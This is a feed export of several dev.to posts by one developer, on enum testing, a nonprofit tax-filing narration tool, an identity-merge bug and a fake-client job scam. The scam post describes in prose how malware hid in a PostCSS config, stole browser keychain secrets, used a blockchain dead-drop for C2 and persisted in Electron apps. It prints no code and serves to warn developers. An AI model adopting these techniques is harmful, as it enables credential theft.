    &lt;span class="n"&gt;unused&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;documented&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Reason.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reasons never produced by the engine: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It failed immediately on &lt;code&gt;sequence_exhausted&lt;/code&gt;. I had declared a reason for "every step of this sequence is settled" and never written the code that could return it. A caller reading my enum would have built a branch for a verdict that could not arrive.&lt;/p&gt;

&lt;p&gt;That one was not a fix, it was a missing feature: nothing in the service answered "the sequence is over", which is exactly what a cron loop needs to know to stop asking. It is why the package now has an &lt;code&gt;advance(case_id)&lt;/code&gt; call at all.&lt;/p&gt;

&lt;p&gt;Dead vocabulary in a public enum is a small lie about your contract. A test can notice it, and the test is six lines.&lt;/p&gt;

&lt;h2&gt;
  
  
  The repo
&lt;/h2&gt;

&lt;p&gt;The package is &lt;a href="https://github.com/vinimabreu/sequence-gate" rel="noopener noreferrer"&gt;sequence-gate&lt;/a&gt;, MIT, Python, no network and no sleeps in the suite. It ships three deliberately wrong implementations alongside the right ones, and the tests run them and watch them fail: a stop check that runs after the send, a ledger keyed on the provider's message id that double-sends after a replay, and quiet hours evaluated on the server's clock that texts someone in Kolkata at 03:12.&lt;/p&gt;

&lt;p&gt;Both bugs in this post are in the README, in a section called "bugs found while building it", which I think is the most useful section a repository like that can have.&lt;/p&gt;

&lt;p&gt;If you keep one line from this: &lt;strong&gt;the timestamp your system returns is not documentation, it is an instruction, and something should be executing it.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;Vinicius Pereira&lt;br&gt;
&lt;a href="https://vinimabreu.dev" rel="noopener noreferrer"&gt;vinimabreu.dev&lt;/a&gt; · &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;github.com/vinimabreu&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>testing</category>
      <category>debugging</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>Before you give: hear what a nonprofit's tax filings say, and what they can't</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Sun, 06 Sep 2026 10:59:31 +0000</pubDate>
      <link>https://dev.to/vinimabreu/before-you-give-hear-what-a-nonprofits-tax-filings-say-and-what-they-cant-1i49</link>
      <guid>https://dev.to/vinimabreu/before-you-give-hear-what-a-nonprofits-tax-filings-say-and-what-they-cant-1i49</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for &lt;a href="https://dev.to/challenges/weekend-2026-09-03"&gt;Weekend Challenge: Generosity Edition&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Type the name of a US nonprofit and hear, in a minute or two, what its public tax filings say: how much money moved, whether it spent more than it took in, how many months of reserves it holds, where the money comes from, and how that moved over the last decade. Then, in the same breath, what those filings can't tell you.&lt;/p&gt;

&lt;p&gt;There's no score. That was the whole design decision.&lt;/p&gt;

&lt;p&gt;Every charity rating site ends in a number, and the number has to weigh things the filing doesn't measure. A Form 990 records what came in and what went out. It doesn't record whether the work is any good, whether the reserves are locked to a purpose, or what happened after the fiscal year closed. A score built on it is a guess wearing a number, and a donor who trusts the number is trusting the guess.&lt;/p&gt;

&lt;p&gt;So the unit here isn't a score. It's a fact with a limit attached:&lt;/p&gt;

&lt;p&gt;Reserves                   about 12 months&lt;br&gt;
    Net assets of $3 billion would cover about 12 months of spending at the current pace.&lt;br&gt;
    limit: Net assets include buildings, equipment and gifts restricted to a purpose,&lt;br&gt;
           so the part it could actually spend is smaller. Treat this as an upper bound.&lt;/p&gt;

&lt;p&gt;The limit is a required field. The code can't produce a fact without one.&lt;/p&gt;

&lt;p&gt;The generosity angle is simple: give better. Most of us donate on impulse or on a friend's word. This gives you one minute of what's actually on file, in words you can take in on the way to deciding, and it's free, keeps no account, and rates nobody.&lt;/p&gt;
&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Live: &lt;a href="https://before-you-give.vercel.app" rel="noopener noreferrer"&gt;https://before-you-give.vercel.app&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Try "American Red Cross", then "Doctors Without Borders", then a small food pantry in your state. The three feel completely different once you hear them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs0r16qzgsqu60sqntvnv.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs0r16qzgsqu60sqntvnv.gif" alt="A real session: search Feeding America, open the reading, press play, scroll to the year by year chart" width="600" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq16i374yzwk1vm8eyf87.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq16i374yzwk1vm8eyf87.png" alt="The American Red Cross reading" width="799" height="562"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The voice runs on a spending cap I set for the weekend. If it tells you the budget is used up, the full narration is written out under "Read the narration" and everything else still works.&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/before-you-give" rel="noopener noreferrer"&gt;
        before-you-give
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Hear what a nonprofit's public tax filings say before you donate. No score, no guessing.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;before-you-give&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://github.com/vinimabreu/before-you-give/actions/workflows/ci.yml" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/vinimabreu/before-you-give/actions/workflows/ci.yml/badge.svg" alt="ci"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/23b639181075ba5ffe31a53c6e4b5668ebf2dc7ff043ffb7491be7182ba8d68a/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e3131253230253743253230332e3132253230253743253230332e31332d626c7565"&gt;&lt;img src="https://camo.githubusercontent.com/23b639181075ba5ffe31a53c6e4b5668ebf2dc7ff043ffb7491be7182ba8d68a/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e3131253230253743253230332e3132253230253743253230332e31332d626c7565" alt="python"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/f8df3091bbe1149f398a5369b2c39e896766f9f6efba3477c63e9b4aa940ef14/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e"&gt;&lt;img src="https://camo.githubusercontent.com/f8df3091bbe1149f398a5369b2c39e896766f9f6efba3477c63e9b4aa940ef14/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e" alt="license"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/86ca7bdf2646de7e129787160e3ad39937fbbfaf1d60e744b80eb636dfa34521/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f74657374732d383225323070617373696e672d627269676874677265656e"&gt;&lt;img src="https://camo.githubusercontent.com/86ca7bdf2646de7e129787160e3ad39937fbbfaf1d60e744b80eb636dfa34521/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f74657374732d383225323070617373696e672d627269676874677265656e" alt="tests"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Type the name of a US nonprofit and hear, in a minute or two, what its public tax filings say: how much money moved, whether it spent more than it took in, how many months of reserves it holds, where the money comes from, and how that has moved over a decade. Then, in the same breath, what those filings cannot tell you.&lt;/p&gt;
&lt;p&gt;No score. No ranking. No language model writing the numbers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Live:&lt;/strong&gt; &lt;a href="https://before-you-give.vercel.app" rel="nofollow noopener noreferrer"&gt;https://before-you-give.vercel.app&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/demo.gif"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Fdemo.gif" alt="Searching for Feeding America, opening the reading, pressing play, and scrolling to the year by year chart"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A real session on the live site: search, pick the organization, listen, follow the narration, scroll to the chart. The same clip as an MP4: &lt;a href="https://github.com/vinimabreu/before-you-give/assets/demo.mp4" rel="noopener noreferrer"&gt;assets/demo.mp4&lt;/a&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Screens&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Landing&lt;/th&gt;
&lt;th&gt;Reading&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/landing.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Flanding.png" alt="Landing page"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/results.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Fresults.png" alt="The American Red Cross reading"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Year by year&lt;/th&gt;
&lt;th&gt;Phone&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/year-by-year.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Fyear-by-year.png" alt="Year by year chart and table"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/mobile-playing.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Fmobile-playing.png" alt="A food pantry on a phone, narration playing"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Why there is no score&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Every charity rating site ends in a number, and the number has to weigh things the filing does not measure. A Form 990 records what an organization took in and what it spent. It does…&lt;/p&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/before-you-give" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;MIT. Python, FastAPI, one HTML page with no build step. 82 tests that run offline against real API responses, no key needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Data first, code second.&lt;/strong&gt; Every number comes unchanged from the ProPublica Nonprofit Explorer API, which republishes IRS Form 990 extracts. Before writing any logic I pulled six real organizations and saved the responses as fixtures: a big 990 filer with 13 years of history, a private foundation (990-PF) that reports the same lines under different names, a food pantry on the short 990-EZ form, another on the full form, and one organization with no filings at all. The code was shaped by what the feed actually returns, not by what I assumed it would. Every field is optional and every fact only exists if its inputs do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Facts with limits.&lt;/strong&gt; &lt;code&gt;reading.py&lt;/code&gt; is the whole arithmetic. A &lt;code&gt;Fact&lt;/code&gt; has a display value, a plain sentence, the same sentence written for a voice, and a &lt;code&gt;limit&lt;/code&gt;. The limit is what stops the page from lying by layout. When the feed doesn't carry the program / admin / fundraising split (it's on the filing PDF, not in the API), the page says so instead of pretending. When an organization has no numbers, the page explains that small organizations file a postcard and churches don't have to file at all, because absence of data is not a warning sign and a blank page would imply it is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two renderings of every number.&lt;/strong&gt; &lt;code&gt;$3.2 billion&lt;/code&gt; for the eye, &lt;code&gt;3.2 billion dollars&lt;/code&gt; for the voice. A text to speech engine reads &lt;code&gt;$3.2B&lt;/code&gt; five different ways and none of them is what a listener wants. There's a test that walks every narration and asserts there is no &lt;code&gt;$&lt;/code&gt; and no &lt;code&gt;%&lt;/code&gt; anywhere in it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The narration is templates, not a language model.&lt;/strong&gt; The script is assembled from the facts by plain string code, so it can't drift from the data even a little. It ends with the source line every time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ElevenLabs, with the guardrails written before the first paid call.&lt;/strong&gt; The narration renders with &lt;code&gt;eleven_turbo_v2_5&lt;/code&gt;. Two rules sit in front of it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;cache by text: the mp3 is stored by the hash of the script, so the same organization never costs twice;&lt;/li&gt;
&lt;li&gt;a hard cap on calls and characters, checked before every request. Past the cap the server answers 429 and keeps serving what's already cached. A small per-address limiter sits in front of that.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without a key the app runs text-only and says so on the page. Nothing else changes.&lt;/p&gt;

&lt;p&gt;On the voice itself: I spent part of this week tuning ElevenLabs settings on a different project, and the lesson carried over. The voice you pick matters less than stability and style. Defaults sound fast and flat; too much style and it starts oscillating between moods mid-sentence. For narration I landed on stability 0.6, style 0.2, speed 0.95, and it reads a balance sheet like a calm person, which is the point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What the data told me that I didn't expect.&lt;/strong&gt; The American Red Cross's fundraising events lost money in fiscal 2023: $3.1 million in, $4 million to run. My first version printed "kept -27%", which is true and useless. Now it says the events cost more than they raised, and the limit line notes that events often exist to build a community as much as to raise money. Also: a $3 billion organization holding about 12 months of reserves, and Doctors Without Borders USA running an $89 million deficit with 4 months of reserves and 97% of revenue from donations. None of that is a verdict. It's what's on file, and now you can hear it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I didn't build.&lt;/strong&gt; No scraping of the filing PDFs for the expense split, no score, no "recommended" list. A weekend is enough to be honest about a data feed; it isn't enough to be right about a cause.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Best use of ElevenLabs.&lt;/strong&gt; The voice isn't decoration here, it's the accessibility layer. The people this is for are not the people who read walls of numbers. Every figure is formatted for speech, the script is deterministic so the audio can't say something the page doesn't show, and the cache and cap are what make it responsible to leave a public demo running on a personal key.&lt;/p&gt;

&lt;p&gt;If you try it on a nonprofit you care about and the page gets something wrong, open an issue. The numbers are ProPublica's; the sentences are mine, and I'd rather fix a sentence than defend it.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>weekendchallenge</category>
      <category>python</category>
      <category>showdev</category>
    </item>
    <item>
      <title>A fake client sent me a GitHub repo. Running it cost me two days and every password I had.</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Thu, 27 Aug 2026 18:45:33 +0000</pubDate>
      <link>https://dev.to/vinimabreu/a-fake-client-sent-me-a-github-repo-running-it-cost-me-two-days-and-every-password-i-had-5bm</link>
      <guid>https://dev.to/vinimabreu/a-fake-client-sent-me-a-github-repo-running-it-cost-me-two-days-and-every-password-i-had-5bm</guid>
      <description>&lt;p&gt;This week a client on a freelancer platform sent me a repo and asked me to run it. I ran it. Two days later I had rotated every credential I own and wiped my machine.&lt;/p&gt;

&lt;p&gt;I want to walk through exactly how it works, because it is not one clever trick, it is a whole family of them, and they are all aimed at us specifically. The people building these know that a developer will clone a repo and type &lt;code&gt;npm run dev&lt;/code&gt; without thinking, the same way you would open a door for someone holding coffee. That reflex is the exploit.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the main one works
&lt;/h2&gt;

&lt;p&gt;The setup looks like a real job. A "client" posts something senior and well paid: a senior AI engineer role, a big fixed budget. They message you fast and warm. Then they share a GitHub repo. In my case it was an AI companion game, and it was genuinely well architected, clean separation, sensible structure, the kind of code that lowers your guard on purpose. They ask you to run it locally and send a screenshot proving it works, before any contract exists.&lt;/p&gt;

&lt;p&gt;The malware was in &lt;code&gt;postcss.config.js&lt;/code&gt;. Not in an obvious place, in a config file nobody reads, sitting on the same line as the real config behind a long run of spaces so it scrolls off the screen. It was obfuscated with &lt;code&gt;fromCharCode&lt;/code&gt; so even if you looked you would see noise, not a URL. It fires the moment you run the dev server.&lt;/p&gt;

&lt;p&gt;When it fires, it beacons out to a command-and-control server, pulls down a second stage, and goes straight for the browser. On a Mac it tries to read the "Chrome Safe Storage" key out of the keychain, which is the key that decrypts every password and cookie Chrome has saved. One keychain prompt, and if you approve it, the whole vault leaves the machine. To make the C2 hard to block, the address was not hardcoded, it was resolved through a dead-drop on the Ethereum blockchain, so a takedown or a blocklist does nothing.&lt;/p&gt;

&lt;p&gt;This family has names if you want to read more: Contagious Interview, BeaverTail, InvisibleFerret. It is run at scale and it targets developers through job offers, on purpose, because our machines hold SSH keys, cloud credentials, and source access.&lt;/p&gt;

&lt;p&gt;The part that actually scared me came that night. I found that it had not just run and exited. It had rewritten &lt;code&gt;main.js&lt;/code&gt; inside VS Code, &lt;code&gt;cli.js&lt;/code&gt; inside npm, and &lt;code&gt;index.js&lt;/code&gt; inside Discord, three Electron apps whose code is plain editable JavaScript on disk. The npm one went from 407 bytes to 1.7 MB. Every time I opened any of those apps, or ran any npm command, it respawned the password stealer and a clipboard monitor. A reboot does nothing against that. "No LaunchAgent, no cron" is not the same as "no persistence."&lt;/p&gt;

&lt;h2&gt;
  
  
  The other flavors
&lt;/h2&gt;

&lt;p&gt;The repo trick is the loud one. There are quieter versions arriving the same week, and I have watched every one of these land in my own feed in the last few days.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The malicious attachment.&lt;/strong&gt; The job post has a &lt;code&gt;.zip&lt;/code&gt; or &lt;code&gt;.rar&lt;/code&gt; attached, labeled something like "requirements" or "project brief." Inside, a couple of harmless PNGs as decoy and one &lt;code&gt;.vbs&lt;/code&gt; or &lt;code&gt;.bat&lt;/code&gt; file. That script downloads the real payload from a hacked WordPress site and runs it. On a Mac a &lt;code&gt;.vbs&lt;/code&gt; will not execute, but the file still travels, and if you also use Windows it will fire there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The compromised real account.&lt;/strong&gt; You check the client and it looks fine. Payment verified, phone verified, a five-star review, spending history, an account from years ago. Then it sends you a repo or an attachment with malware in it. Old, legitimate accounts get taken over and used as bait precisely because they pass the naive filter. Judge the message and the attachment, never the profile badge.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The off-platform pull.&lt;/strong&gt; A warm reply to your proposal asking for your email so they can send the "official interview invitation," and often a tip to write your email with spaces so the platform's filter does not catch it. No real client ever coaches you to defeat the contact filter. That instruction alone is the whole answer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The pay-to-test scam.&lt;/strong&gt; A tester or QA role that, once you accept, needs you to fund a crypto wallet or a subscription "for payment testing, reimbursed separately." Crypto is irreversible and the reimbursement never comes. Real payment testing uses sandbox keys, never your own money.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the usual signals fail you here
&lt;/h2&gt;

&lt;p&gt;The instinct is to trust the platform's checkmarks. Payment verified, top rated, high spend. Those tell you the account can pay and has a history. They tell you nothing about whether the file in front of you is safe, and they are exactly what a hijacked account still shows. The verification protects you against not getting paid. It does not protect you against running code.&lt;/p&gt;

&lt;p&gt;The payment model itself kills the excuse. These platforms already hold the client's money and release it only when they approve your work, so a nervous client never needs to watch your machine run their project first. When someone insists you run their code and screenshot it before there is any contract at all, that is not caution and it is not a technical test. There is no legitimate reason for it. It is the attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rules I follow now, no exceptions
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Never run a stranger's code.&lt;/strong&gt; Not a repo, not a script, not a notebook, not a "quick test task." Reading it is fine. Running it is the line, and it does not move for a good story or a big budget.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Read third-party code by view only.&lt;/strong&gt; Read it raw over HTTP, no clone, no &lt;code&gt;npm install&lt;/code&gt;, no &lt;code&gt;pip install&lt;/code&gt;, no &lt;code&gt;docker compose&lt;/code&gt;. And read the boring files first, because that is where it hides: config files like postcss, webpack, vite, the &lt;code&gt;scripts&lt;/code&gt; block in package.json (watch &lt;code&gt;postinstall&lt;/code&gt; and &lt;code&gt;prepare&lt;/code&gt;), the Dockerfile, git hooks. Malware lives in the file you skip.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Treat attachments as text.&lt;/strong&gt; Never double-click. A &lt;code&gt;.docx&lt;/code&gt; or &lt;code&gt;.xlsx&lt;/code&gt; is a zip, so unzip it and read the XML. A &lt;code&gt;.zip&lt;/code&gt; or &lt;code&gt;.rar&lt;/code&gt;, list the contents before extracting, and any &lt;code&gt;.vbs&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.lnk&lt;/code&gt;, &lt;code&gt;.scr&lt;/code&gt;, &lt;code&gt;.hta&lt;/code&gt;, or executable inside means you stop there. Never go fetch the second stage to "see what it is." That just hands the attacker your IP and runs live malware.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;A funded contract does not make their code safe to run.&lt;/strong&gt; This is the bypass a scammer will reach for next, so be clear about it: a paid contract changes who is liable for the work, it does not change what the code does to your machine. If you ever genuinely have to run something unknown, it goes in a throwaway VM with no network and no access to your real files, and even a clean run there proves nothing, because some of this only fires on the right OS and some detects a VM. Reading the code is the only real check. Everything else is a second layer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Stop saving passwords in the browser.&lt;/strong&gt; That single keychain prompt is what turns one mistake into fourteen stolen logins. Use a password manager with its own master password, turn on 2FA everywhere, add passkeys where you can.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;If it fires, assume the worst and wipe.&lt;/strong&gt; Persistence hides in Electron apps and in npm, not only in the places a checklist looks. A reboot is not cleanup. If you cannot prove the machine is clean, you cannot trust it. I could not, so I formatted.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The uncomfortable part
&lt;/h2&gt;

&lt;p&gt;The platforms are not catching these fast enough. I reported the job that got me, and the first reply said there was nothing wrong with it. The post came down a day later, from a different team, which tells you the front line and the safety team are not the same speed. You cannot outsource this to the marketplace. You are the last check.&lt;/p&gt;

&lt;p&gt;The good news is that the defense is cheap. Skipping a scam costs you one lead you were never going to close anyway. Running one costs you your machine and days of your life. I know which trade I want now.&lt;/p&gt;

&lt;p&gt;Be careful out there. If a client ever needs you to run their code before they will hire you, they are not hiring you.&lt;/p&gt;

&lt;p&gt;Vinicius Pereira&lt;br&gt;
vinimabreu.dev · github.com/vinimabreu&lt;/p&gt;

</description>
      <category>security</category>
      <category>career</category>
      <category>webdev</category>
      <category>opensource</category>
    </item>
    <item>
      <title>The third identity merge wasn't Unicode. It was a placeholder.</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 25 Aug 2026 22:19:50 +0000</pubDate>
      <link>https://dev.to/vinimabreu/the-third-identity-merge-wasnt-unicode-it-was-a-placeholder-7ic</link>
      <guid>https://dev.to/vinimabreu/the-third-identity-merge-wasnt-unicode-it-was-a-placeholder-7ic</guid>
      <description>&lt;p&gt;Ann and Bob don't exist. They're two synthetic strangers in the test workspace of a CRM bridge I was about to publish. Ann is &lt;code&gt;ann@x.example&lt;/code&gt;, Bob is &lt;code&gt;bob@x.example&lt;/code&gt;, and both typed &lt;code&gt;N/A&lt;/code&gt; into the phone field of a lead form, because that's what people type into a required phone field they'd rather not fill. My fake CRM merged them. Bob's upsert came back carrying Ann's contact id with Ann's conversation history hanging off it, and the audit ledger recorded &lt;code&gt;contact_created&lt;/code&gt; twice. Two people created, one person stored, and the second creation line quietly naming the first one's id.&lt;/p&gt;

&lt;p&gt;I caught it in a pre-publish review pass, not in production, which is the only comfortable part of this story. It's the third time in a few months I've hit the same family of bug, and this one stings in a specific way: it walked past a doctrine I had already written down twice.&lt;/p&gt;

&lt;p&gt;The first incident was production. &lt;a href="https://dev.to/vinimabreu/pythons-casefold-merged-two-of-my-customers-into-one-tenant-1g75"&gt;Python's casefold() merged two of my customers into one tenant&lt;/a&gt;: Unicode case folding is many-to-one, U+212A KELVIN SIGN folds to &lt;code&gt;k&lt;/code&gt;, and two distinct identifiers became one entitlement key. The second was last week. &lt;a href="https://dev.to/vinimabreu/my-new-repo-argued-against-the-exact-bug-it-was-carrying-3050"&gt;My new repo argued against the exact bug it was carrying&lt;/a&gt;: the package preached ASCII-only folding while its own test fakes normalised emails with &lt;code&gt;str.lower()&lt;/code&gt;. The doctrine existed; a caller just didn't call it.&lt;/p&gt;

&lt;p&gt;This third one is worse in an instructive way, because the doctrine was right in both places you'd think to look.&lt;/p&gt;

&lt;h2&gt;
  
  
  The repo, for context
&lt;/h2&gt;

&lt;p&gt;ghl-bridge is a policy-gated bridge between a GoHighLevel location and whatever generates reply drafts. Webhook in, dedupe, then a gate that only auto-sends a message when every policy passes, idempotency keyed on the event rather than the delivery, and a guard that raises if anything unapproved tries to leave. 379 tests, all offline, no account and no API key behind any of it.&lt;/p&gt;

